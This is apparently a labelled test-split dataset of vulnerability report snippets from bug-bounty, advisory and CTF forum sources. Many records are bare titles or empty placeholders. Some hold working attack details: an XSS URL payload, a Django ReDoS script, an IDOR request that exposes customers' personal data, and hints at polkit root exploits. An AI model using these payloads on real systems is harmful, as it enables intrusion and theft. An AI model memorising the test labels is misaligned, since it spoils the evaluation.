{"id": "043f98b197f3799c7067", "text": "ABB Cylon Aspect 3.08.01 Unauthenticated DB Download\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-11", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "8129509aa41da8c0dabf", "text": "ABB Cylon Aspect 3.08.03 (MIX->IPConfigServlet) Network Manipulation\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "a71e5f14eee59d44331a", "text": "ABB Cylon Aspect 3.08.02 (clearProjectConfigurationAjax.php) File Deletion\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-27", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "ef7ba9b432baacfb037b", "text": "ABB Cylon FLXeon 9.3.4 (cert.js) Authenticated Root Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-02-03", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "df4139a28f5777df74f4", "text": "ABB Cylon Aspect 3.08.01 (caldavUpload.php) Funkalicious Exploit\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-03-06", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "bb9dd427729ee6a8bb07", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "4f6d89af40494e9452c3", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "9f8080682a451655de57", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "84fbad1b963840b442f3", "text": "ABB Cylon FLXeon 9.3.4 Default Credentials\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-02-13", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "77c318a4a7de871fdea6", "text": "ABB Cylon Aspect 3.08.02 (tscConfiguration.php) Authenticated Reflected XSS\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-12-10", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "39f5a421d661192c9ff9", "text": "[Business Logic Errors] Cloud Computer Hackerone Triager can be Accessible for everyone [h1_analyst_lucas+view@wearehackerone.com] computer\n\n==This report was reported to program #2262768 at the request of h1_analyst_shiva I re-reported it here==\n=========================================================================================\n\nhello dear \n\nI don't know if I should send this report to HackerOne or to █████████\n\nAlthough this is not a bug, but obviously a forgetfulness, but the impact will be very bad and great if the computer contains important and sensitive data and information that can be easily controlled by hackers and researchers and hacked be done\n\nI've been working on ████████ for a long time. Today I saw that the computer of one of the Triagers is online while we have a big time difference with Europe and the United States, so I was surprised to see this in this section\n```\n██████ RS1FIMUNSRVJGVFZLTl84NiIsImV2ZW50U3RhcnRUaW1lIjoxNzAwNzg0MTYyMzg1LCJoaWVyYXJjaHkiOiJzcmMiLCJvcmlnaW5Qcm9jZXNzU3RhcnRUaW1lIjoxNzAwNzg0MTYyMzIxLCJv cmlnaW5Qcm9jZXNzVW5pcXVlSWQiOiI1Rjk1QzJDNDY0RESERBRKRFIiwicHJvY2Vzc0deep3VwSWQiOiIxNTg4QjhDNDY0RESERBRKRFIn0%3D\n```\n\nWhen I went to the h1_analyst_lucas+view@wearehackerone.com site table, I saw that it was still online and you could use the remote shell to log in to the computer\n\n{F2881374}\n\nNote that I have not used any commands except these to verify my report\n\n```\nls\ncd ..\ncd Users\nls\ndone\n```\n████████\n\n\nIn ████, it's normal for all users to see other people's computers, but I don't think it's normal for Hackerone staff and Triager \n\n███\n\n## Impact\n\nCloud Computer Hackerone Triager can be Accessible for everyone\n\n## Impact\n\nCloud Computer Hackerone Triager can be Accessible for everyone", "source": "hackerone", "timestamp": "2024-05-10", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "ea909634de0e53636df9", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "dfcf83facc60335f82db", "text": "Ksenia Security Lares WebServer Home Automation Default Credentials\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-03-31", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "1060081f9660c280f17d", "text": "Elber Reble610 M/ODU XPIC IP-ASI-SDH Microwave Link Device Config\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-04-17", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "522c64a79832623c689f", "text": "Yep you can eat sandwich as barry", "source": "hackthebox", "timestamp": "2024-04-02", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "6355193e237dc2ffbcc1", "text": "ABB Cylon Aspect 3.08.02 (altlogin.php) Unauthenticated Reflected XSS\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-08", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "567a955e0a06435b07ce", "text": "[Cross-site Scripting (XSS) - Reflected] Reflective Cross Site Scripting (XSS) on ███████/Pages\n\n## Reflective Cross-Site Scripting (XSS)\nAn elevation of privilege vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server. \nThe attacker to read content that the attacker is not authorized to read, use the victim's identity to take actions on the SharePoint site on behalf of the user, such as change permissions and delete content, and inject malicious content in the browser of the user.\n\n## System Host(s)\nhttps://██████████/Pages\n\n## Affected URLs in Scope\nhttps://█████████/Pages/default.aspx?FollowSite=0&SiteName=%27-confirm(%27XSSALERT%27)-%27\n\n## Affected Product(s) and Version(s)\nMicrosoft SharePoint Foundation 2013 Service Pack 1\n\n██████ \n\nReferences\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-0255\n\n## CVE Numbers\nCVE-2017-0255\n\n## Steps to Reproduce\n\nInjecting this XSS payload containing allows a window to pop up as a result of the payload being executed.\n\n 1. Go to- \nhttps://████████/Pages/default.aspx?FollowSite=0&SiteName=%27-confirm(%27XSSALERT%27)-%27\n\n\n## Suggested Mitigation/Remediation Actions\nSanitize data input (to make sure the URL input does not contain any code) is loaded from well-defined endpoints.", "source": "hackerone", "timestamp": "2024-03-22", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "25778bea52265342074e", "text": "ABB Cylon Aspect 3.08.02 (clearProjectConfigurationAjax.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-27", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "70f107a4227c52d5926a", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "728834e527c7d75b3c45", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "3973658e4f480ddd4d92", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "e0bace558eca69e244f6", "text": "ABB Cylon Aspect 3.08.02 (aspectMemory.php) Arbitrary Heap Memory Configuration\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-12-13", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "706f2a4a2f907a9c22fa", "text": "Hello, could you help me? I’m stuck on: BROKEN AUTHENTICATION - Brute Forcing Passwords The question: Using rockyou-50.txt as password wordlist and htbuser as the username, find the policy and filter out strings that don’t respect it. What is the valid password for the htbuser account? I am sure that I have the password in a reduced list generated with grep, the problem comes when performing brute force, I have used burp but the server blocks me for 30 seconds and I have also used the rate_limit_check.py script but it does not work correctly… somebody could help me?", "source": "hackthebox", "timestamp": "2024-03-20", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "62399270260ba48ea171", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "666c7ca79be9de43056d", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "d7c7c2e5b1bd535257e1", "text": "[Uncontrolled Resource Consumption] CVE-2024-27351: Potential regular expression denial-of-service in django.utils.text.Truncator.words()\n\n# TL;DR\n\n**CVE-2024-27351**: Potential regular expression denial-of-service in `django.utils.text.Truncator.words()`\n\n# Details:\n\n`django.utils.text.Truncator.words()` method (with `html=True`) and `truncatewords_html` template filter were subject to a potential regular expression denial-of-service attack using a suitably crafted string (follow up to CVE-2019-14232 and CVE-2023-43665).\n\n- The `Truncator` class truncates text based on word count.\n- When the `html` flag is set, the internal `_truncate_html()` method is used.\n- This method relies on regular expressions stored in variables (`re_chars` and `re_words`) to perform the truncation.\n- These regular expressions are vulnerable to ReDoS attacks, which can cause significant performance degradation and denial-of-service.\n\n**PoC:**\n\n```python\n#!/usr/bin/env python3\nfrom django.utils.text import Truncator\nimport time\n\n\nMAX_LENGTH = 65535\n\npayload = '<' * MAX_LENGTH\nprint('[INFO] %d bytes of payload' % len(payload))\n\nstart_time = time.time()\nTruncator(payload).words(3, truncate='...', html=True) # BOOM!\nend_time = time.time()\n\nprint('[INFO] Truncator().words() took %lf seconds' % (end_time - start_time))\n```\n\nThe impact of this vulnerability may vary depending on the computing environment. In my tests using an AMD Ryzen 7 3700X with 32GB RAM, I observed a notable delay of approximately 40 seconds.\n\n## Impact\n\nAn attacker could exploit this vulnerability to:\n\n- Consume excessive server resources, causing performance degradation and potential service outages.\n- Delay application response times significantly.", "source": "hackerone", "timestamp": "2024-04-28", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "e629b48d6c01be05d422", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "3512b94457642a31162d", "text": "[Deserialization of Untrusted Data] Pickle deserialization vulnerability in XComs\n\nApache Airflow, versions before 2.8.1, have a vulnerability that allows a potential attacker to poison the XCom data by bypassing the protection of \"enable_xcom_pickling=False\" configuration setting resulting in poisoned data after XCom deserialization. This vulnerability is considered low since it requires a DAG author to exploit it. Users are recommended to upgrade to version 2.8.1 or later, which fixes this issue.\n\n## Impact\n\nFor this vulnerability, I think the severity of its impacts highly depends on whether it is possible some malicious tasks can poison the XComs data. Based on my understanding of Airflow's threat model, I have drafted two attacking scenarios for the exploit:\n4.1), we consider there is a DAG involving two isolated tasks belonging to two different task owners and running in two different machines/docks, saying an attacker's task running in the attacker's machine and a victim's task running in the victim's machine. In this case, the attacker can poison some XComs data and then exploit this vulnerability to bypass the protection of \"enable_xcom_pickling = False\" and get an RCE in the victim's machines when the victim's task pulls this poisoned XComs data.\n4.2), in case any attacker's task can poison some XComs data, the web users who can view the XComs data by navigating via \"DAG->Run->Task->XCom\" in the web UI can deserialize the poisoned data for RCE. Or if the Airflow sets \"enable_xcom_deserialize_support = True\", the authenticated users can trigger the RCE by accessing the \"xcomEntries\" endpoint.\nI am not very sure whether the two attacking scenarios described above apply to your Airflow threat models and whether there are some more potential exploitable scenarios. However, we can see in the airflow.cfg, the comments for the key \"enable_xcom_pickling\" saying \"Whether to enable pickling for xcom (note that this is insecure and allows for RCE exploits).\", I thus believe the bypass of the \"enable_xcom_pickling\" can more or less induce kinds of insecure matters in the use of Airflow.", "source": "hackerone", "timestamp": "2024-01-29", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "60be51c5399d8aa658c0", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "74575b37111b7b1b6eff", "text": "ABB Cylon Aspect 3.08.02 (WatchDogServlet) Authenticated Reflected XSS\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2024-12-24", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "e19d098a0f881220908b", "text": "ABB Cylon Aspect 3.08.02 (deployStart.php) Unauthenticated Command Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-30", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "320bc8425c0e5c511655", "text": "Ksenia Security Lares WebServer Home Automation URL Redirection\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2025-03-31", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "97d315f02ab205d795a1", "text": "ABB Cylon Aspect 3.08.00 (setTimeServer.php) Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-10-06", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "32caab6dab23b1bb7bf3", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "62cdf33db833869f709b", "text": "[Cryptographic Issues - Generic] Secure Client-Initiated Renegotiation\n\nRenegotiation can open the door to attacks. There are two primary worries:\n\nCVE-2009-3555: This vulnerability allows a “man-in-the-middle” attacker to inject data into an HTTPS session and execute requests on behalf of the victim. Refer to CVE-2009-3555 for more details.\n\nDenial of Service (DoS): Establishing a secure SSL connection requires more processing power on the server, around 15 times, than on the client. An attacker can exploit this processing-power property along with renegotiation to trigger hundreds of handshakes in the same TCP connection; an assault can bring down a 30Gb-link server using only a laptop and DSL connection.\n\nThe THC group demonstrated the DoS attack and released a tool, THC-SSL-DoS, as a proof of concept. An SSL DoS attack can be carried out without SSL renegotiation by simply establishing a new TCP connection for every new handshake. SSL renegotiation makes it very easy to carry out this DoS attack.\n\nReference Link : https://securingtomorrow.mcafee.com/technical-how-to/tips-securing-ssl-renegotiation/\n\nStep to reproduce :\n\nRun the following command in Open SSL : openssl s_client -connect lahitapiola.fi:443\n\nBelow is the POC screenshot :\n\n## Impact\n\nDOS Attack", "source": "hackerone", "timestamp": "2024-02-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "2e6181fb6ae75227eb67", "text": "[Unknown] CVE-2024-0853: OCSP verification bypass with TLS session reuse\n\nOriginal Report:https://hackerone.com/reports/2298922\n\n## Impact\n\nCWE-299: Improper Check for Certificate Revocation", "source": "hackerone", "timestamp": "2024-03-27", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "6c98793d19052e606107", "text": "Pachno 1.0.6 (uploadfile) Unrestricted File Upload Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2026-04-12", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "b64327efb0469de15d35", "text": "Logitech Streamlabs Desktop 1.19.6 (overlay) CPU Exhaustion\n\nSeverity: low", "source": "zeroscience", "timestamp": "2025-11-13", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "1cdd642afaa903a77d9e", "text": "ABB Cylon Aspect 3.08.03 (CookieDB) SQL Injection\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-01-06", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "ffd303c12ff1bf69d480", "text": "[Information Disclosure] Being able to disclose IBB bounty table of any public program\n\n**Summary:**\n\nHi there, I hope you are doing well :)\n\nAccording to https://docs.hackerone.com/en/articles/8496298-internet-bug-bounty \n\n██████\n\nIt says \"You can opt-in by setting up your bounty table on your main program’s rewards settings page (instructions below). This bounty table is private and indicates how much you will award for vulnerabilities discovered in open-source projects\"\n\nWhich means the IBB bounty table is private but i was able to disclose IBB bounty table\n\n\n### Steps To Reproduce\n\n1. Send this HTTP request:\n\n```HTTP\n\n\nPOST /graphql HTTP/2\nHost: hackerone.com\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0\nAccept: application/json\nContent-Type: application/json\nContent-Length: 157\nTe: trailers\n\n{\"query\":\"{\\r\\n team(handle: \\\"security\\\") {\\r\\n\\r\\nibb_bounty_table {\\r\\n critical\\r\\n high\\r\\n medium\\r\\n low\\r\\n }\\r\\n}\\r\\n}\\r\\n\"}\n\n```\n\nOR \n\nrun this curl command :\n\n\n```\n\ncurl -i -s -k -X $'POST' \\\n -H $'Host: hackerone.com' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'Content-Length: 157' -H $'Te: trailers' \\\n --data-binary $'{\\\"query\\\":\\\"{\\\\r\\\\n team(handle: \\\\\\\"security\\\\\\\") {\\\\r\\\\n\\\\r\\\\nibb_bounty_table {\\\\r\\\\n critical\\\\r\\\\n high\\\\r\\\\n medium\\\\r\\\\n low\\\\r\\\\n }\\\\r\\\\n}\\\\r\\\\n}\\\\r\\\\n\\\"}' \\\n $'https://hackerone.com/graphql'\n\n```\nit will disclose IBB bounty table of Hackerone:\n\n█████\n\n## Impact\n\nPrivate information disclosure", "source": "hackerone", "timestamp": "2024-03-17", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "d56bc85485f2a6fd793a", "text": "ABB Cylon Aspect Studio 3.08.03 Insecure Permissions\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "4654572b51e9c55409fe", "text": "Pachno 1.0.6 Cross-Site Request Forgery\n\nSeverity: high", "source": "zeroscience", "timestamp": "2026-04-12", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "301f647dde6d5c444e78", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "2acb8466d4eeaa888855", "text": "[Improper Certificate Validation] CVE-2024-2466: TLS certificate check bypass with mbedTLS (reward request)\n\nFor reward request.\n\nPlease refer to this report issue from curl:\nhttps://hackerone.com/reports/2416725\n\nAnd already published at here:\nhttps://curl.se/docs/CVE-2024-2466.html\n\n## Impact\n\nReference from above.", "source": "hackerone", "timestamp": "2024-03-29", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "d1875de2ba674a40d0ef", "text": "ABB Cylon Aspect 3.08.03 (MapServicesHandler) Authenticated Reflected XSS\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-01-06", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "60db398c08022f6efddf", "text": "===============\n\nClass: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "2bce2464bc8ffaada50d", "text": "eNet SMART HOME server 2.3.1 (resetUserPassword) Account Takeover\n\nSeverity: high", "source": "zeroscience", "timestamp": "2026-02-14", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "0c1713a206b5d41e00fd", "text": "ABB Cylon Aspect 3.08.03 (Java/PHP) Log Forging\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "87e1ea9245dd3109ea68", "text": "To capture the flags using the tomcat with reverse shell approach, pay attention to the files under directory /etc/tomcat9/ , you can get the password for tomcatadm there. Another simpler approach is to attack the Polkit vulnerability with CVE-2021-4034. You may download the CVE-2021-4034.py and transfer to the target and execute the script, you get the root shell there. Screenshot 2024-08-19 at 7.18.57 PM 1470×834 70.8 KB", "source": "hackthebox", "timestamp": "2024-08-20", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "9ef4c90512a276c0237c", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "81f309693d08be562b68", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "3d73e649b32a8db72ab2", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "3434ab309cce98fbd604", "text": "ABB Cylon Aspect 3.08.02 (logYumLookup.php) Authenticated File Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-10-24", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "b2f0a693ecdd3aee7de1", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "9c7cd081afe49051ac75", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "2e2c65649bddbfc1880b", "text": "Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Device Config\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-04-17", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "51ff3fb3f863bfaf21eb", "text": "Abusing HTTP HEAD for Java Deserialization RCE (CVE-2025-12059)\n\nCVE-2025-12059 CWE-502, 538 Unauthenticated Java Deserialization RCE via HTTP HEAD Request Date: 2025-10-04 Severity: Critical (CVSS v3.1 = 9.8 ) (Full system compromise risk) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Etki Kapsamı: Startupv3.29.6.4 Finder : Enay Sınıflar: com.lbs.start.JLbsStartup , com.lbs.start.SocketToken https://www.cve.org/cverecord?id=CVE-2025-12059 The application uses the DOCUMENT_URI parameter contained in the JNLP file within the client-server flow and reads the request body returned from this URI/endpoint regardless of the HTTP method (including HEAD ) and deserializes it using ObjectInputStream.readObject() . As a result, even without authentication, an attacker can carry a serialized body via a HEAD request, trigger a gadget chain on the server side, and obtain RCE . This behavior can be confused with the fact that the HTTP standard specifies that a HEAD response should not contain a body; however, if the request body is read at the application layer due to an incorrect design, a methodagnostic flow emerges including HEAD and the deserialization chain works in the same way. In practice, the chain operates as follows: The JNLP provided by the client includes DOCUMENT_URI as an application startup parameter; this parameter is transferred to the server-side web component, where the relevant handler/servlet consumes the request body using request.getInputStream() without performing any method checks . The stream is then passed to a service layer and reaches a new ObjectInputStream(in).readObject() call. During deserialization, a gadget chain linked to class loading and readObject() entry points is executed, allowing command execution. Therefore, when an attacker places a payload.ser file generated with ysoserial into the body of a HEAD request with the header Content-Type: application/x-java-serialized-object , even if the endpoint is invoked with HEAD instead of POST/PUT, the content is still deserialized and commands are executed due to the application’s method-agnostic body processing . Small-sized HEAD requests may return 200 OK and serve the JNLP, indicating that the endpoint processes HEAD and at least partially consumes the body. From a root cause perspective, the issue can be grouped under two main headings: Input security: The application passes an unvalidated input stream without enforced data type constraints directly to ObjectInputStream.readObject() . Defenses such as class allowlists or object filters (JEP-290) are either absent or ineffective. HTTP semantics violation: At the handler/filter/servlet layer, the application does not differentiate body processing based on the HTTP method. In doHead or a shared service branch, getInputStream() is consumed unconditionally; this makes it meaningful and exploitable to carry a body even with HEAD requests. Remote code execution is possible over the network without authentication. In the configuration used to verify the vulnerability, Java 8 (with JNLP startup on the IcedTea-Web/javaws side), Startupv3.34.8.3.jar serving as the client bootstrap component, and an Apache-Coyote/Tomcat stack on the backend were present. A WAF/405 response was later added after the CVE assignment; although this blocks some PoC variants, it is not a permanent solution as long as the deserialization code remains in place. Technical Evidence The content of runapp.jnlp directly redirects to the startup.jar file; I followed the relevant link, downloaded the JAR file to my system, decoded it, and analyzed it. Within the JAR, calls to com.lbs.start.SocketToken / new ServerSocket(port) and ObjectInputStream.readObject() directly invoke readObject() on the incoming socket. /* 211 */ listenThread = new Thread(new Runnable() /* */ { /* */ public void run() /* */ { /* 215 */ Socket connection = null; /* 216 */ ObjectOutputStream out = null; /* 217 */ ObjectInputStream in = null; /* 218 */ String message = null; /* */ /* */ /* */ while (true) { /* */ try { /* 223 */ connection = SocketToken.ms_Instance.accept(); /* ", "source": "0x00sec", "timestamp": "2026-03-10", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "ca2071e1b6bbf0e78182", "text": "ABB Cylon Aspect 3.08.01 (servicesUpdate.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-06", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "f75e5e23fba499b713b3", "text": "[Insecure Direct Object Reference (IDOR)] PII Disclosure At `theperfumeshop.com/register/forOrder`\n\n## Summary:\n\nHello there! I found a way to accesing any user's PII (full address, phone number, full name, ** all orders**, payment details [if the victim already saved before] ) who created a order in The Perfume Shop. \n\nThis is happening via https://theperfumeshop.com/register/forOrder endpoint. I realized this endpoint after the guest checkout process was completed.\n\n## Steps To Reproduce:\n\n1. Open https://theperfumeshop.com website on your browser ( do not login to any account ).\n2. Go to a product and add to your basket then, get your CSRF token and cookies.\n3. Find a order ID who you want to attack. You can try with my order ID: `664448593`\n4. Repeat this request on Burp Suite after replacing with the CSRF token, cookies, an email that not registered before and the order ID of the victim:\n\n```http\nPOST /register/forOrder HTTP/2\nHost: www.theperfumeshop.com\nCookie: █████\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: █████checkout/orderConfirmationByReferenceId/PROD_00000000000\nContent-Type: application/x-www-form-urlencoded\nOrigin: https://www.theperfumeshop.com\nDnt: 1\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nTe: trailers\n\norderCode=[order-id-of-victim]&email=[put-here-random-email]&associateCard=yes&termsCheck=1&dateOfBirth.day=██████████&dateOfBirth.month=█████████&dateOfBirth.year=███&pwd=███&checkPwd=██████&CSRFToken=[csrf-token-here]\n```\n\nYou'll see `Location: ███████serverError` on response, this meant attack succesfully completed.\n\n5. Go to ████████login page and login with the random email that you put in the request and this password -> `████`. \n6. After succesfully logged into the account, check addressses, orders and personal information.\n\nHere's a proof of concept:\n\n██████\n\nAlso, I set this report severity to Critical because CVSS calculator's response and comment of @lesswood in the #1542373:\n\n> ███████\n\n\nSo, since I can easily harvest PII (full address, phone number, full name, ** all orders**, payment details [if the victim already saved before] ) and take over a system (can delete orders from victim's own account) without any privileges.\n\n## Impact\n\nAccesing any user's PII (full address, phone number, full name, ** all orders**, payment details [if the victim already saved before] ) who created a order in The Perfume Shop.", "source": "hackerone", "timestamp": "2024-01-23", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "a21c5e82fd767569f055", "text": "ABB Cylon Aspect 3.08.01 (mapConfigurationDownload.php) Config Download\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-10-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "decdf246858ca8823e8d", "text": "[Uncontrolled Resource Consumption] CVE-2024-2398: HTTP/2 push headers memory-leak\n\n## Summary:\nFor each incoming `PUSH_PROMISE` header a new `name:value` string is allocated \nand the pointer to that string is stored in the `stream->push_headers` array.\n\n```\nh = aprintf(\"%s:%s\", name, value);\n if(h)\n stream->push_headers[stream->push_headers_used++] = h;\n```\n\nLibcurl will reject `PUSH_PROMISE` frames with too many headers.\nWhen the number of headers exceeds some threshold, `on_header` returns an error.\nHowever, libcurl forgets to free the `stream->push_headers` array elements before `stream->push_headers` is freed.\nA malicious server may continuously send `PUSH_PROMISE` frames with over 1000 headers, which would eventually consume all available memory.\n\nThe same issue exists when `Curl_saferealloc` fails.\n\n```\n if(stream->push_headers_alloc > 1000) {\n /* this is beyond crazy many headers, bail out */\n failf(data_s, \"Too many PUSH_PROMISE headers\");\n Curl_safefree(stream->push_headers);\n return NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE;\n }\n stream->push_headers_alloc *= 2;\n headp = Curl_saferealloc(stream->push_headers,\n stream->push_headers_alloc * sizeof(char *));\n if(!headp) {\n stream->push_headers = NULL;\n return NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE;\n }\n```\n\n\n## Steps To Reproduce:\n\n 1. compile `nghttp2` with {F3099659} applied\n 1. compile {F3099658}\n 1. run `nghttpd -p/=/foo.bar --no-tls 8181`\n 1. run `valgrind --leak-check=full http2_push_promise`\n\nfor each `-p` option `nghttpd` will send 200 `PUSH_PROMISE` frames, each with 1280 headers (not counting pseudo headers)\n\n## Supporting Material/References:\n`valgrind --leak-check=full http2_push_promise` output:\n```\n==13928== \n==13928== HEAP SUMMARY:\n==13928== in use at exit: 8,285,018 bytes in 256,674 blocks\n==13928== total heap usage: 261,567 allocs, 4,893 frees, 12,766,009 bytes allocated\n==13928== \n==13928== 64 bytes in 2 blocks are possibly lost in loss record 2 of 10\n==13928== at 0x48436C4: malloc (vg_replace_malloc.c:392)\n==13928== by 0x4889F45: dyn_nappend (dynbuf.c:107)\n==13928== by 0x488A2C5: Curl_dyn_addn (dynbuf.c:170)\n==13928== by 0x48C393E: alloc_addbyter (mprintf.c:1065)\n==13928== by 0x48C2FF9: dprintf_formatf (mprintf.c:852)\n==13928== by 0x48C39FF: curl_mvaprintf (mprintf.c:1095)\n==13928== by 0x48C3AF0: curl_maprintf (mprintf.c:1110)\n==13928== by 0x48B0F86: on_header (http2.c:1467)\n==13928== by 0x4C310C1: nghttp2_session_mem_recv (in /usr/lib64/libnghttp2.so.14.25.1)\n==13928== by 0x48AE62B: h2_process_pending_input (http2.c:552)\n==13928== by 0x48B2570: h2_progress_ingress (http2.c:1914)\n==13928== by 0x48B2775: cf_h2_recv (http2.c:1953)\n==13928== \n==13928== 8,191,872 bytes in 255,996 blocks are definitely lost in loss record 10 of 